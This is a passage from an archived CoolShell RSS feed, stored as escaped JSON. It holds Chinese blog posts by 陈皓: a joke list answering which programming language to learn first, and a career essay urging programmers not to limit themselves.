height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"40个很不错的CSS技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_title\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2406.html\">写HTML和CSS的新方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2406.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>新手该学哪门编程语言</title>\n\t\t<link>https://coolshell.cn/articles/2402.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2402.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 10 May 2010 00:46:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2402</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在某个论坛上看到有人在问——“Which programming language should I learn first？”，看到了下面的这个回答，有点意思...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2402.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2402.html\">新手该学哪门编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在某个论坛上看到有人在问——“Which programming language should I learn first？”，看到了下面的这个回答，有点意思。</p>\n<blockquote><p>Depends.</p>\n<ul>\n<li>To program in an expressive and powerful language: <strong>Python</strong></li>\n<li>To get a website up quickly: <strong>PHP</strong></li>\n<li>To mingle with programmers who call themselves “rockstars”: <strong>Ruby</strong>.</li>\n<li>To really learn to program: <strong>C</strong>.</li>\n<li>To achieve enlightenment: <strong>Scheme</strong>.</li>\n<li>To feel depressed: <strong>SQL</strong></li>\n<li>To drop a chromosome: <strong>Microsoft Visual Basic</strong></li>\n<li>To get a guaranteed, mediocre, but well paying job writing financial applications in a cubicle under fluorescent lights: <strong>Java</strong>.</li>\n<li>To do the same thing with certifications and letters after your name: <strong>C#</strong></li>\n<li>To achieve a magical sense of childlike wonder that you have a hard time differentiating from megalomania: <strong>Objective C</strong></li>\n</ul>\n<p>I could go on… but I’m not feeling hateful enough today.</p></blockquote>\n<p>翻译如下：</p>\n<p><span id=\"more-2402\"></span></p>\n<blockquote><p>看你的需要了。</p>\n<ul>\n<li>如果你想找一门表达力和功能都很强的语言：Python</li>\n<li>如果你想更快速地开发WEB程序：PHP</li>\n<li>如果你想和那些“摇滚明星”的程序员为伍：Ruby</li>\n<li>如果你想学真正的编程：C</li>\n<li>如果你想顿入空门的话：Scheme</li>\n<li>如果你想压抑的话：SQL</li>\n<li>如果你想基因突变成为非人类的话：Microsoft Visual Basic</li>\n<li>如果你想要得到一个有保证的，但普普通通的，收入还不错的，在一间小卧室的荧光灯下写一些金融应用的工作：Java</li>\n<li>如果你想在你的名字后放上一些认证和证书：C#</li>\n<li>如果你想得到一些很难在自大狂和孩子气中区分的那种魔幻般的感觉：Objective C</li>\n</ul>\n<p>我还可以再写去，因为今天我还没有足够的愤怒。</p></blockquote>\n<p>跟着这个思路，我也补充几条吧，</p>\n<ul>\n<li>如果你想寻找在被虐中被大众称道的感觉：C++</li>\n<li>如果你想整天都在说Fxxk的脏话：JavaScript (<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">哪种程序员嘴最脏</a>)</li>\n<li>如果你想成为无所不能的BS一切的神：汇编</li>\n<li>如果你想成为一个像春哥或犀利哥一样真正的男人：Brainfuck （<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">BT雷人的程序语言</a>）</li>\n</ul>\n<p>呵呵，欢迎留下你的回答！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2402.html\">新手该学哪门编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2402.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-3.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 3 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=3\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 15 Sep 2022 10:15:46 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>别让自己“墙”了自己</title>\n\t\t<link>https://coolshell.cn/articles/20276.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/20276.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 01 Dec 2019 03:10:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=20276</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这一两周与几个朋友聊天，有年轻的90后，也有大叔级的70后，这些人在我看来都是很有能力的人，但是一些喜好过于强烈，让我不经意地回顾了我工作20年来身边的人，有发...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/20276.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-20332\" src=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-300x198.jpg\" alt=\"\" width=\"300\" height=\"198\" srcset=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-300x198.jpg 300w, https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-768x508.jpg 768w, https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-408x270.jpg 408w, https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind.jpg 850w\" sizes=\"(max-width: 300px) 100vw, 300px\" />这一两周与几个朋友聊天，有年轻的90后，也有大叔级的70后，这些人在我看来都是很有能力的人，但是一些喜好过于强烈，让我不经意地回顾了我工作20年来身边的人，有发展得好的，也有发展的不好的，有些人是很可惜的，因为限制他们的不是其它人，也不是环境，而是自己，所以，很想写下这篇文章。（注：这篇文章可能会是一篇说教的文章，所以，可能会让你看着犯困，所以，我会尽量地短一些，而且尽可能多讲故事，少道理，这里的故事，全是真实发生的）</p>\n<h4>几个故事</h4>\n<p>2019年年初，我面试了一个很年轻的小伙子（93/94年出生），这个小伙子特别有灵性，也很聪明，计算机专业出身，也很喜欢技术，基础和学习能力也很好。在我这20年来认识的人中，如果他能呆在北京、上海、深圳这样的城市，我保证不出三年，他会成为他们同龄人中非常出色的技术人员，如果有个好的舞台有一个好的团队带他，他的未来会非常成功。然而，这个小伙子有两大喜好：1）只愿（或是说被迫）呆在一个毫无IT的环境的三/四线城市，2）对技术有非常大的偏好，只喜欢Go语言，非常不喜欢其它的语言，比如：Java（离开Java的世界，基本上离开了做架构的世界（<strong>相关解释见文末</strong>））。</p>\n<p>他的这两个喜好，足以让一个未来会很优秀的人毁掉，因为，这个时代没有限制他，他的能力也没有限制他，但是他的意识完完全全地限制了他。<span id=\"more-20276\"></span></p>\n<ul>\n<li>他把自己最宝贵的青春放在了很烂的项目上，就算能用一些新的技术，他也只能算是自娱自乐，在实验室中玩玩具罢了。</li>\n<li>他把自己的技术栈封闭起来，而直接放弃了这个时代最具工业化的技术Java，对于一个好的程序员来说，同时掌握几门语言和技术完全是没什么问题，但是自己封闭了自己的视野。</li>\n</ul>\n<p>实在是非常可惜，我本来是可以为他介绍到一些很不错的公司的，但是他这样的习性，等于自己把自己未来的门给关上了，虽然我跟他长谈过，但是我也没有办法叫醒不想醒的人……</p>\n<ul>\n<li>视野、环境和舞台，对一个人的限制是非常大的。井蛙不知道大海，被空间维度所限制；夏虫不知道冬天，是被时间维度所限制；圈养的动物没有斗志，是被自己意识所限制。</li>\n<li>偏见和不开放，对一个人的限制是真正有毁灭性的。主动让自己成为一个瞎子和聋子，主动把自己的能力阉割掉，这是一件令人痛心的事。想想大清的闭关锁国是如何让亚洲第一的北洋水师给毁掉的……</li>\n</ul>\n<p>我还有个同学，他的技术并不差，就算呆在昆明这种很落后的地方，他也非常地好学，学习英文，学习各种新技术，对技术没有任何的偏好，喜欢C/C++/Java/Python/Shell，同样喜欢前端Javascript，对基础知识非常地踏实，他在技术上没有限制自己的潜力，有什么就学什么。后来，我带他玩Docker/Go/K8S……分布式架构，他也上手的很快……像他这样的人，技术能力完全没得说，比我还大一岁，44岁了，还是一样的天天追代码细节，看Youtube的各种大会，翻github里的各种issue和pull request……</p>\n<p>我同学这人，拥有了成为一个技术牛人几乎所有的条件：基础知识过硬，细节扎得深，面很广，学习能力强，有英文能力，逻辑思维能力不错，非常的自律，执行力也很强，抓得住重点……然而，只有一个小问题，就是没有到大公司历练过，我三番五次叫他从昆明出来，但是最终他都呆在昆明这个城市没有出来，因为有所谓的家庭约束。然而，我身边还有好些人，把自己家从北京搬到上海，从上海搬到深圳，从厦门搬到深圳……这样的人大有人在……像他这样的能力，在哪个公司都会是主力和骨干，对于一个公司的主力和骨干来说，家庭上的这些问题都是小问题都是有很多解的……</p>\n<p>另外，我这个同学还是一个比较悲观的人，任何事情都是先想到不好的事，他关注负面的东西会胜于正面的东西，而且他还有一定的社交恐惧，怕与人相处和交流，时间越长越害怕，甚至有时候直接跟我说，“我就是不想改变”这样的话……其实，我以前也是一个很害怕与人交流的人，面试的时候，我根本不敢正眼看面试官一眼，也不知道与人怎么交流。但是，我与他不一样，我努力克服，不断地面试，与人面对面的交流，到一线技术客服接用户的电话，在公司里做分享，慢慢地到外面分享……3-5年就完全克服掉了。</p>\n<p>其实，很多事情，完全是有解的，也没有必要担心，自己的心理障碍也是可以克服的，重点就是自己愿不愿意，只要愿意完成了一半，接下来就是不断的摸爬滚打坚持了。</p>\n<ul>\n<li>不限制自己的人，会穷举各种方法来解决问题，限制自己的人，只会找各式各样的问题或借口。</li>\n<li>不限制自己的人，会努力改变自己的问题和缺陷，限制自己的人，会放任自己。</li>\n</ul>\n<h4>另外几个故事</h4>\n<p>我还有另外几个故事（活到四十多，能看到好多人十几年的发展过程，感觉有点上帝视角了）</p>\n<p>我还有一个以前团队里的一个小伙，人是很聪明，但就完全就是野路子，他对技术没有什么偏好，一个PHP程序员，做那个Discuz!论坛，公司被并购了，转成Java，开始研究Java的各种细节，对技术从来没有什么偏见，有什么就玩什么，每做一个项目，就算是一样的他都要用新的技术做一遍，然后跟着我做云计算，我教他TCP，教他C/C++，后来一起玩Docker/Go，等等，反正是一点就通，他是我见过学习能力最强的人。但是，有一个事他一直与我的想法不一样，就是我希望他先把软件设计好，再写代码，他非常不能理解，他习惯于直接动手开干，然后有什么问题就整什么问题，我也很难教育他。</p>\n<p>有一天，他电话面了一下Facebook，电话面了15分钟后对方就放弃了，他受到了严重的打击。然后，他就开始找菲利宾人练英文口语了，我也让他做算法题，然后，他才发现，一道连算法都不是的纯编程题都提交几次都过不了，等他做完了Leetcode最初的那151道题后，整个人都改变了，写代码前认认真真地在纸上把程序的状态，处理时序以及可能遇到的一些条件先罗列出来，然后，进行逻辑设计后，再写，从此，他就开启他更大的天地了。我后来把他推荐给了微软，先在中国的Bing，在中国升好2-3级，然后去了美国的Azure，现在听说他准备要跟 k8s 的 co-founder <a href=\"https://github.com/brendandburns\" target=\"_blank\" rel=\"noopener noreferrer\">Brendan Burns</a> 混了（虽然，他现在还在印度人手下，但是，我真的不知道他未来能玩多大，因为今年他才33岁，而且非常聪明）</p>\n<p>他以前是把自己封闭起来的，我叫他出来，他也不出来，后来因为一些办公室政治的原因不得不来找我，于是我就带着他玩了两年，跟他讲了很多外面的世界是怎么玩的，他这个人也是一个相当不善于社交的人，但是心是开放的，愿意接受新的东西，虽然对技术也有一定偏见，比如不喜欢Windows，但是也不会不喜欢到完全封闭。后来我跟他说，微软的技术相当的强的，你看到的技术只是表面，深层次的东西都是相通的，直到他到了微软后发现各种牛逼的东西，对微软系统的技术的态度也有了改变，而且我让他跟我说很多微软那边的事，我发现，他对技术了解的维度已经是越来越高级的了……</p>\n<p>还是我以前团队的一个小伙，他是一个前端，他说前端的东西没什么意思，想来找我做后端，我也一点点带他……后来，我说，你如果想要玩得好，你必需来北京，无论现在你觉得过得有多好，你都要放弃掉，然后，尽最大可能出去经历一下世界最顶尖的公司，我甚至跟他说，如果他女朋友不跟来的话，就先分开一段时间，先自己立业，他来北京的时候，他之前的同事都等着看他的笑话，我说，那些人连想都不敢想，不必管他们。于是，他去了Amazon，再过了一年去了西雅图，我跟他说，接下来就是去AWS，然后，如果有足够的野心，用自己的年轻这个资本去硅谷创业公司赌一把……未来他怎么样我不知道，但至少他没有限制自己，他的未来不会有封顶……</p>\n<p>也是我的同学，我跟他在大学是上下铺，后来他去了人民大学读计算机博士，大学的时候做国产数据库kingbase，然后去了一家外企，天天被派到用户那边做数据分析，后来，他想回科研单位做国产数据库，我说，别啊，你的技术比我好太多，还有博士理论加持，你不去国外顶尖公司玩玩，你不知道自己有多强的，于是他跟公司申请去了国外做核心，后来因为Hadoop的原因，公司的产品最终成为了历史，于是我说，你来了美国么，你一定要去AWS，于是他就去了AWS的Aurora团队，成为了AWS明星级产品的中坚力量，天天在改MySQL的核心源码，干了两年，正在晋升 Principal Software Engineer ……</p>\n<p>这里我到不是说出国有多牛，也许你只关注能挣多少钱，但是我想说，他们之所以能有这样的际遇，除了他们本来就有实力，还更因为他们从来不给自己设制什么限制，就是那种“艺多不压身”，有什么就学什么，有更高的就去向更高的迈进，其它的像家庭什么的问题其实都是会有解的，真的不必担心太多……</p>\n<h4> 别限制了自己</h4>\n<p>上面的这些故事，也许你能看得懂，也许你看得不一定能懂，这里，让我来做个总结吧</p>\n<ul>\n<li><strong>做有价值的事</strong>。这个世界对计算机人才的要求是供不应求的，所以，不要让自己为自己找各式各样的借口，让自己活在“玩玩具”、“搬砖”和“使蛮力加班”的境地。其实，我发现这世界上有能力的人并不少，但是有品味的人的确很少。<strong>所谓的有价值，就是，别人愿付高价的，高技术门槛的，有创造力的，有颠覆性的</strong>……</li>\n<li><strong>扩大自己的眼界，开放自己的内心</strong>。人要变得开放，千万不要做一个狭隘的民族主义者，做一个开放的人，把目光放在全人类这个维度，不断地把自己融入到世界上，而不是把自己封闭起来，这里，<strong>你的英文语言能力对你能不能融入世界是起决定性的作用</strong>。开放自己的心态，正视自己的缺点，你才可能往前迈进。<strong>你的视野决定了你的知不知道要去哪，你的开放决定了你想不想去</strong>。</li>\n<li><strong>站在更高的维度</strong>。面的维度会超过点的维点，空间的维度会超过面的维度，在更高维度上思考和学习，你会获得更多。<strong>整天在焦虑那些低维度的事（比如自己的薪水、工作的地点、稳不稳定、有没有户口……），只会让你变得越来越平庸，只要你站在更高的维度（比如： 眼界有没有扩大、可能性是不是更多、竞争力是不是更强、能不能解决更大更难的问题、能创造多大的价值……），时间会让你明白那些低维度的东西全都不是事儿</strong>。技术学习上也一样，站在学习编程语法特性的维度和站在学习编程范式、设计模式的维度是两种完全不一样的学习方式。</li>\n<li><strong>精于计算得失</strong>。很多人其实不是很懂计算。绝大多数人都是在算计自己会失去多少，而不会算会得到多少。而一般的人也总是在算短期内会失去什么，优秀则总是会算我投入后未来会有什么样的回报，前者在算计今天，目光短浅，而后者则是舍在今天，得在明天，计算的是未来。<strong><strong>精于计算得失的，就懂得什么是投资，不懂的只会投机。对于赚钱，你可以投机，但是对于自己最好还是投资。</strong></strong></li>\n<li><strong>勇于跳出传统的束缚</strong>。有时候，跳出传统并不是一件很容易的事，因为大多数人都会对未知有恐惧的心理。比如：我看到很多人才都被大公司垄断了，其实，有能力的人都不需要加入大公司，有能力的人是少数，这些少数的人应该是所有的公司share着用的，这样一来，对于所有的人都是利益最大化的。这样的事现在也有，比如：律师、设计师……。但是，绝大多数有能力的技术人员是不敢走出这步。我在2015年到2016年实践过一年半，有过这些实践，做“鸡”的比“二奶”好多了，收入也好很多很多（不好意思开车了）……</li>\n</ul>\n<p>庄子说过几句话——</p>\n<blockquote>\n<p class=\"p1\">井蛙不可以语于海者，拘于虚也；//空间局限</p>\n<p class=\"p1\">夏虫不可以语于冰者，笃于时也；//时间局限</p>\n<p class=\"p1\">曲士不可以语于道者，束于教也。//认识局限</p>\n</blockquote>\n<p>别自己墙了自己，人最可悲的就是自己限制自己，想都不敢想，共勉！</p>\n<p>————————————————————</p>\n<p><strong>注：这篇文章就是要劝大家更为开放，让自己有更多的可能性，能到更高的层次，做更有价值的事，成为更强更好的人……当然，如果你觉得你只想做一个平凡人，也和本文并不冲突……另外你也不要觉得这篇文章是让你要成为一个精英，但你一定要去摸高……这篇文章是告诉你一种面对人生的思考方式，在这种思考方式下，你会有更多的可能性，更大的场景……而不是直接把自己归到“平常人”，把自己“墙”了！</strong></p>\n<p>注：我以为用Java适合做架构这事应该是常识了，但是评论中有很多人非常反对这个事。那我解释一下吧：首先，小型的项目用什么语言都行，爱用什么用什么。但是，真正的企业级架构就不一样了，其中并不仅仅只是RESTful API或RPC，还有各种配套设施和控制系统，比如：应用网关，服务发现、配置中心、健康检查、服务监控、服务治理（熔断、限流、幂等、重试、隔离、事务补偿）、Tracing监控、SOA/ESB、CQRS、EDA……这些东西在非Java的技术栈体系内，很难看到全貌，<strong>Java强大的生态环境，就是让你把注意力放到更高层次的架构和业务上来的</strong>。（千万不要觉得，整几个服务RPC一下，加个缓存，加个队列，就能叫架构，那只是系统集成罢了）</p>\n<p>（全文完）</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/20276.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>300</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix 50 年：Ken Thompson 的密码</title>\n\t\t<link>https://coolshell.cn/articles/19996.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19996.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 03 Nov 2019 06:12:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[BSD]]></category>\n\t\t<category><![CDATA[Dennis Ritchie]]></category>\n\t\t<category><![CDATA[Ken Thompson]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19996</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>50年前，除了Apollo上天之外，还有一个大事的发生，就是Unix操作系统的诞生，若干年前我写过《Unix的传奇，上篇，下篇》，Unix是我入行前十年伴我成长...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19996.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium\" 